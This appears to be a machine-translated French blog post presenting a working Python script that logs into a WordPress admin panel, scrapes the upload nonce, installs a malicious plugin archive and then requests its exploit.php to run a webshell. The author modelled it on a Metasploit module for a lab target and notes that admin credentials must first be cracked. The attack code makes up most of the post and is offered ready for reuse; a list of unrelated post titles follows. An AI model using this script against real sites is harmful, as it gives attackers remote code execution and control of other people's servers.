[PYTHON] J'ai écrit un script pour télécharger un plug-in WordPress

  1. Objet

Quand j'ai capturé WordPress, je voulais un script pratique pour télécharger WebShell, mais je ne l'ai pas trouvé sur le Web, alors je l'ai écrit en faisant référence à la communication du module wp_admin_shell_upload de Metasploit.

  1. Code

wp_plugin_upload.py


#!/usr/bin/python
# coding: utf-8

import requests
import sys
import bs4

url = 'http://10.11.XX.XX'
loginUri = '/wp/wp-login.php'
adminUri = '/wp/wp-admin/'
pluginUri = '/wp/wp-admin/plugin-install.php?tab=upload'
uploadUri = '/wp/wp-admin/update.php?action=upload-plugin'
uploadFile = {'pluginzip': ('exploit_plugin.zip', open('exploit_plugin.zip', 'rb'), 'application/octet-stream', {'Content-Transfer-Encoding': 'binary'})}
exploitUri = '/wp/wp-content/plugins/exploit_plugin/exploit.php'

# Headers
headers = {'wordpress_test_cookie':'WP+Cookie+check', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'}

try:
    # Session
    s = requests.Session()

    # Login
    loginData =  {'log':'admin', 'pwd':'XXXX', 'redirect_to':url + adminUri, 'wp-submit':'Login', 'rememberme':'forever', 'testcookie':'1'}
    r = s.post(url + loginUri, data=loginData)
    r.raise_for_status()

    # Plugin Install Page
    r = s.get(url + pluginUri, headers=headers)
    r.raise_for_status()

    # Get Hidden Param _wpnonce 
    # <input id="_wpnonce" name="_wpnonce" type="hidden" value="fdccb03ee7"/>
    # <input name="_wp_http_referer" type="hidden" value="/wp/wp-admin/plugin-install.php?tab=upload"/>
    # <input id="pluginzip" name="pluginzip" type="file"/>
    # <input class="button" id="install-plugin-submit" name="install-plugin-submit" type="submit" value="Install Now"/>
    bs4obj = bs4.BeautifulSoup(r.content, 'html5lib')
    wpnonce = bs4obj.find('input',id='_wpnonce')
    # print wpnonce['value']

    # Zip Upload
    multiPartData = {'_wpnonce':wpnonce['value'], 
                 'wp_http_referer':'/wp/wp-admin/plugin-install.php?tab=upload',
                 'install-plugin-submit':'Install Now'}

    r = s.post(url + uploadUri, files=uploadFile, data=multiPartData, headers=headers)
    r.raise_for_status()

    # Exploit Run
    r = s.get(url + exploitUri)
    r.raise_for_status()

except requests.exceptions.RequestException as e:
    print(e)
    sys.exit(1)

print(r.status_code)
# print(r.text)
  1. Comment utiliser

Si vous placez le fichier ZIP compressé (exploit_plugin.zip) dans le même dossier que le script, il sera téléchargé dans le dossier plugins de WordPressp. De plus, il est nécessaire d'acquérir un compte WordPress par chemin de crack etc. pour l'exécution, et de réécrire l'adresse IP etc. en fonction de l'environnement.

$ python wp_plugin_upload.py

Recommended Posts

J'ai écrit un script pour télécharger un plug-in WordPress
J'ai écrit un script pour obtenir un site populaire au Japon
J'ai fait un script pour afficher des pictogrammes
J'ai écrit un script pour vous aider à démarrer avec AtCoder à grande vitesse!
Je viens d'écrire un script pour construire Android sur une autre machine
J'ai écrit une fonction pour charger le script d'extension Git en Python
J'ai écrit un script pour extraire les liens de pages Web en Python
J'ai écrit un script pour aider goodnotes5 et Anki à travailler ensemble
Téléchargez un grand nombre d'images sur Wordpress
Écrivain AtCoder J'ai écrit un script qui regroupe les concours pour chaque écrivain
[Aux messieurs sur Twitter] J'ai écrit un script pour convertir immédiatement .jpg-large en .jpg.
Je souhaite créer un type d'implémentation pouvant être branché
Je souhaite télécharger une application Django sur heroku
J'ai écrit un script pour relancer la montre gulp qui mourra bientôt
J'ai fait un script pour mettre un extrait dans README.md
Télécharger un fichier sur Dropbox
J'ai écrit rapidement un programme pour étudier la DI avec Python ①
J'ai écrit un script qui divise l'image en deux
J'ai fait un script pour dire bonjour à mon Koshien
J'ai écrit un script pour créer rapidement un environnement de développement pour Twitter Bot avec AWS Lambda + Python 2.7
J'ai créé un script de traduction basé sur CUI (2)
J'ai créé un script de traduction basé sur CUI
[Blender] Comment créer un plug-in Blender
Un script qui utilise boto pour télécharger un dossier spécifié sur Amason S3
J'ai essayé de créer un linebot (implémentation)
J'ai créé un plugin pour générer une table Markdown à partir de csv avec Vim
J'ai écrit un code pour convertir quaternion en angle de graissage de type z-y-x avec Python
Je veux imprimer dans la notation d'inclusion
J'ai essayé de créer un linebot (préparation)
Exécuter un script depuis Jupyter pour traiter
Je veux créer un environnement Python
J'ai essayé de créer un plug-in avec HULFT IoT Edge Streaming [Development] (2/3)
[Ubuntu] Comment exécuter un script shell
Un simple script IDAPython pour nommer une fonction
J'ai essayé de créer un plug-in avec HULFT IoT Edge Streaming [Execution] (3/3)
J'ai créé un script en python pour convertir des fichiers .md au format Scrapbox
J'ai créé une API Web
Script pour créer un fichier de dictionnaire Mac
J'ai essayé de créer un plug-in avec HULFT IoT Edge Streaming [Setup] (1/3)
Créer un script shell pour écrire un journal
J'ai écrit gxredis pour utiliser redis-py en toute sécurité
Comment exécuter des scripts Maya Python
J'ai fait un script pour enregistrer la fenêtre active en utilisant win32gui de Python
Je veux faire de matplotlib un thème sombre
J'ai essayé de créer une méthode de super résolution / ESPCN
Je souhaite créer facilement un modèle de bruit
Un mémo que j'ai écrit un tri rapide en Python
Je veux INSÉRER un DataFrame dans MSSQL
J'ai essayé de créer une méthode de super résolution / SRCNN ①
J'ai ajouté une fonction à CPython (opérateur ternaire)
Je veux créer une fenêtre avec Python
Je veux faire un jeu avec Python
J'ai écrit une classe en Python3 et Java
Je ne veux pas passer un test de codage
Comment créer un plug-in QGIS (génération de package)
J'ai écrit un modèle de conception dans l'édition Kotlin Prototype
J'ai créé un outil pour compiler nativement Hy
J'ai lu "Comment créer un laboratoire de piratage"
J'ai essayé de générer une chaîne de caractères aléatoire
J'ai essayé de créer une méthode de super résolution / SRCNN ③